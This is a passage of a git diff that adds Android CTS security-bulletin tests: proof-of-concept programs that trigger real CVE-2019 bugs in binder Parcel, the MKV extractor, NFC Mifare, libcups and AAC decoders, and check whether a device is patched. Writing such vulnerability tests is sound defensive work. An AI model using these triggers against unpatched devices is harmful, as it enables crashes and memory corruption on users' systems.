+    name: "CVE-2019-2011",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libhidlbase",
+        "libcutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
new file mode 100644
index 0000000..1de147c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <hwbinder/Parcel.h>
+
+using namespace android::hardware;
+
+int main() {
+    int32_t numFds = 1;
+    int32_t numInts = 0;
+    android::status_t err = android::NO_ERROR;
+
+    native_handle_t *nativeHandleSend = native_handle_create(numFds, numInts);
+    Parcel *parcel = new Parcel();
+    err = parcel->writeNativeHandleNoDup(nativeHandleSend);
+    if (err != android::NO_ERROR) {
+        return EXIT_FAILURE;
+    }
+    parcel->setDataPosition(0);
+
+    nativeHandleSend->numInts = 1024;
+
+    const native_handle_t *nativeHandleReceive = nullptr;
+    err = parcel->readNativeHandleNoDup(&nativeHandleReceive);
+    if (err == android::NO_ERROR) {
+        native_handle_t *tempHandle = const_cast<native_handle_t *>(nativeHandleReceive);
+        for (numInts = nativeHandleReceive->numFds; numInts < nativeHandleReceive->numInts;
+             ++numInts) {
+            ++tempHandle->data[numInts];
+        }
+    }
+
+    // The fix is to validate the nativeHandle size and return an error. Hence
+    // if control reaches here, the patch is present. Return EXIT_SUCCESS
+    delete parcel;
+    native_handle_delete(nativeHandleSend);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
index 165017b..72d7dda 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2019-2025",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
new file mode 100644
index 0000000..e301864
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2126",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+
+    shared_libs: [
+        "libstagefright",
+        "libutils",
+        "liblog",
+        "libdatasource",
+    ],
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-DCHECK_MEMORY_LEAK",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..45bec73
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,128 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <sys/mman.h>
+
+unsigned char mkvDataStart[] = {
+    0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A, 0x42, 0x82, 0x10, 0x00,
+    0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53, 0x80, 0x67, 0x10, 0xF4,
+    0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4, 0x24, 0x41, 0xAE, 0x10,
+    0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81, 0x01, 0xE0, 0x10, 0x00,
+    0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10, 0xF4, 0x24, 0x28, 0x62,
+    0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10, 0xF4, 0x24, 0x19, 0x42,
+    0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24, 0x00};
+
+unsigned char mkvDataEnd[] = {0x42, 0x55, 0x81, 0x61, 0x42, 0x54,
+                              0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
+                              0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80};
+
+#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmkvextractor.so"
+
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == LEAK_SIZE); }
+
+int main() {
+
+#if _64_BIT
+  GetExtractorDef getDef = nullptr;
+  FILE *fp = fopen(TMP_FILE, "wb");
+  if (!fp) {
+    return EXIT_FAILURE;
+  }
+
+  char *appendArray = (char *)malloc(LEAK_SIZE);
+  memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+  /* Write mkv stream */
+  fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+  /* Append a bitstream which causes memory leak */
+  fwrite(appendArray, 1, LEAK_SIZE, fp);
+  fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+  free((void *)appendArray);
+  fclose(fp);
+
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      remove(TMP_FILE);
+      return EXIT_FAILURE;
+    }
+  }
+
+  getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    remove(TMP_FILE);
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+  sp<DataSource> dataSource = dsf->CreateFromURI(NULL, TMP_FILE);
+  if (dataSource == nullptr) {
+    remove(TMP_FILE);
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  void *creator = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+  float confidence;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  }
+  if (!creator) {
+    remove(TMP_FILE);
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+  if (ret == nullptr) {
+    remove(TMP_FILE);
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  if (meta != nullptr && freeMeta != nullptr) {
+    freeMeta(meta);
+  }
+
+  remove(TMP_FILE);
+  dlclose(libHandle);
+#endif /* _64_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
new file mode 100644
index 0000000..5d006c3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2133",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            include_dirs: [
+                "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+                "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+                "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+                "system/nfc/src/nfa/include/",
+                "system/nfc/src/gki/common/",
+                "system/nfc/src/include/",
+                "system/nfc/src/gki/ulinux/",
+                "system/nfc/src/nfc/include/",
+            ],
+            shared_libs: [
+               "libnfc_nci_jni",
+            ],
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..3cce7af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+  uint8_t p_data = 0xA0;
+  uint32_t len = 0;
+
+  phNxpExtns_MfcModuleInit();
+  Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
new file mode 100644
index 0000000..763772f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2134",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            include_dirs: [
+                "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+                "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+                "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+                "system/nfc/src/nfa/include/",
+                "system/nfc/src/gki/common/",
+                "system/nfc/src/include/",
+                "system/nfc/src/gki/ulinux/",
+                "system/nfc/src/nfc/include/",
+            ],
+            shared_libs: [
+                "libnfc_nci_jni",
+            ],
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..1514e2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+  uint8_t p_data = 0xA0;
+  uint32_t len = 1;
+
+  phNxpExtns_MfcModuleInit();
+  Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..0571475
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2136",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+    Parcel parcel;
+    parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+    /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+                        parcel.setDataPosition(header_start + header_size);
+    Hence header_start is 4 [sizeof(int32_t)] as we have written
+    Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+    overflow if header_size > INT32_MAX - sizeof(int32_t).
+    */
+    parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+    parcel.setDataPosition(0);
+    Status status;
+    status.readFromParcel(parcel);
+    /** If vulnerability is present, the parcel's data position would be very
+        large. Hence any write to the parcel will trigger a SIGSEGV else the
+        write would pass.
+    */
+    parcel.writeInt32(0);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
new file mode 100644
index 0000000..fc1addb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2228",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.c",
+    ],
+    shared_libs: [
+        "libcups",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..63600cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <ipp.h>
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void *(*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
+
+void init(void) {
+  real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+  if (real_malloc == NULL) {
+    return;
+  }
+  real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+  if (real_strcmp == NULL) {
+    return;
+  }
+  isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+  if (!isInitialized) {
+    init();
+  }
+  void *tmp = real_malloc(size);
+  if (size == text_len) {
+    check_ptr = tmp;
+  }
+  return tmp;
+}
+
+int strcmp(const char *str1, const char *str2) {
+  if (!isInitialized) {
+    init();
+  }
+  if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+    exit(EXIT_VULNERABLE);
+  }
+  return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+  if (argc < 2) {
+    return EXIT_FAILURE;
+  }
+
+  int file_desc = open((const char *)argv[1], O_RDONLY);
+  if (file_desc < 0) {
+    return EXIT_FAILURE;
+  }
+
+  ipp_t *job = ippNew();
+  if (!job) {
+    return EXIT_FAILURE;
+  }
+  ippReadFile(file_desc, job);
+
+  if (job) {
+    free(job);
+  }
+  close(file_desc);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
new file mode 100644
index 0000000..b85abba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-9247",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libMpegTPDec/include/",
+        "external/aac/libMpegTPDec/src/",
+        "external/aac/libSYS/include/",
+        "external/aac/libFDK/include/",
+        "cts/hostsidetests/securitybulletin/securityPatch/includes/",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
new file mode 100644
index 0000000..aed7662
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <common.h>
+
+#include "tpdec_lib.h"
+
+#define STACK_SIZE 16384
+#define SIZE_OF_VULNERABLE_MEMORY 1024
+#define TRANSPORTDEC_SIZE 5684
+#define INITIAL_VAL 0xBE
+#define TIMEOUT_IN_SECONDS 540
+
+const UINT length = 200;
+UCHAR conf[length] = { 0 };
+UINT layer = 0;
+bool isVulnerable = false;
+bool isPocExecutionComplete = false;
+
+static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
+static bool s_memory_copy_initialized = false;
+
+int poc(void *sTp) {
+    transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
+                                 layer);
+    isPocExecutionComplete = true;
+    return EXIT_SUCCESS;
+}
+
+void memory_copy_init(void) {
+    real_memcpy = (void *(*)(void *, const void *,
+                             size_t))dlsym(RTLD_NEXT, "memcpy");
+    if (!real_memcpy) {
+        return;
+    }
+    s_memory_copy_initialized = true;
+}
+
+void* memcpy(void* destination, const void* source, size_t num) {
+    if (!s_memory_copy_initialized) {
+        memory_copy_init();
+    }
+    if (num == length) {
+        char *tmp_destination = (char*) destination;
+        for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
+            if (tmp_destination[i] == INITIAL_VAL) {
+                isVulnerable = true;
+                break;
+            }
+        }
+    }
+    return real_memcpy(destination, source, num);
+}
+
+int main() {
+    void *sTp = malloc(TRANSPORTDEC_SIZE);
+    if (!sTp) {
+        return EXIT_FAILURE;
+    }
+    char *ptr = (char *) malloc(STACK_SIZE);
+    if (!ptr) {
+        free(sTp);
+        return EXIT_FAILURE;
+    }
+    memset(sTp, 0x00, TRANSPORTDEC_SIZE);
+    memset(ptr, INITIAL_VAL, STACK_SIZE);
+    clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
+    int sleepCounter = 0;
+    while (!isPocExecutionComplete) {
+        if (sleepCounter == TIMEOUT_IN_SECONDS) {
+            break;
+        }
+        sleep(1);
+        ++sleepCounter;
+    }
+    free(ptr);
+    free(sTp);
+    return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
new file mode 100644
index 0000000..250b45b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-9308",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libSYS/include",
+        "external/aac/libAACdec/include",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
new file mode 100644
index 0000000..21eaf53
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written using aac_dec_fuzzer.cpp as reference.
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint8_t kConfigBytes = 92;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+class Codec {
+public:
+  Codec() = default;
+  ~Codec() { deInitDecoder(); }
+  bool initDecoder();
+  void decodeFrames(UCHAR *data, UINT size);
+  void deInitDecoder();
+
+private:
+  HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+  AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+  bool mConfigFlag = false;
+};
+
+bool Codec::initDecoder() {
+  mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+  if (!mAacDecoderHandle) {
+    return false;
+  }
+  return true;
+}
+
+void Codec::deInitDecoder() {
+  aacDecoder_Close(mAacDecoderHandle);
+  mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+  while (size > 0) {
+    UINT inputSize = size;
+    UINT valid = size;
+
+    if (!mConfigFlag) {
+      inputSize = kConfigBytes;
+      aacDecoder_ConfigRaw(mAacDecoderHandle, &data, &inputSize);
+      data += kConfigBytes;
+      size -= kConfigBytes;
+      mConfigFlag = true;
+      continue;
+    }
+
+    aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+    INT_PCM outputBuf[kMaxOutBufferSize];
+    do {
+        mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
+    } while (mErrorCode == AAC_DEC_OK);
+    UINT offset = inputSize - valid;
+    data += offset;
+    size = valid;
+  }
+}
+
+int main(int argc, char *argv[]) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+
